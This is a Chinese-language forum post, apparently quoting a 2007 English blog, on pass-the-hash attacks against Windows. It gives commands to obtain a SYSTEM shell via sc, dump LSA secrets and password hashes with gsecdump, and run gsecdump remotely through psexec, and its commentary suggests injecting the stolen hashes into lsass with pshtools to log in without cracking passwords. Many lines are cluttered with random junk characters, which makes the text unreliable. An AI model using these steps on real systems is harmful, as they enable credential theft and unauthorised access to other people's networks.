HASH注入式攻击

admin

o get a DOS Prompt as NT system:
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' v5 w/ |  B; O* NC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
/ s' l: o9 q( Y0 B$ N5 g, u. O[SC] CreateService SUCCESS
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* N6 d- v* k1 T0 N: CC:\>sc start shellcmdline
[SC] StartService FAILED 1053:
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The service did not respond to the start or control request in a timely fashion.
# ^: U% ]  t" W0 u" h7 C
C:\>sc delete shellcmdline
1 j" A7 m# w2 p' [% I$ u! P[SC] DeleteService SUCCESS

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Then in the new DOS window:

Microsoft Windows XP [Version 5.1.2600]
2 A8 ]8 T/ _' o  M6 w4 F& p(C) Copyright 1985-2001 Microsoft Corp.
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C:\WINDOWS\system32>whoami
9 q0 e* |& q; \* R2 s8 xNT AUTHORITY\SYSTEM
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C:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]

: Z, F' w5 t1 K. k; ^options:
-h [ --help ] show help
-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
2 k9 W) V! [. S. [4 g0 R& c1 Y6 Z-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD

  _( X) J; t! p# T! eAlthough I like to use:
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' e$ D* X2 S. G5 z. w( y7 L! cPsExec v1.83 - Execute processes remotely
  O' I2 G. u, B% Y, R+ ?) iCopyright (C) 2001-2007 Mark Russinovich
9 P+ m' v' _: e$ h3 j$ ~; }& P* }& pSysinternals - 链接标记[url]www.sysinternals.com[/url]
$ Y8 T6 G; @/ g! Z( L* f* U, n. j
: _  X$ h# n9 A8 d/ F. k- CC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

  N4 s$ N; e7 ~6 I# \6 q( q- j" ~to get the hashes from active logon sessions of a remote system.

: I" N5 W9 \3 o; F6 c1 b: eThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
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7 s- f8 ]1 W; Q, S我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。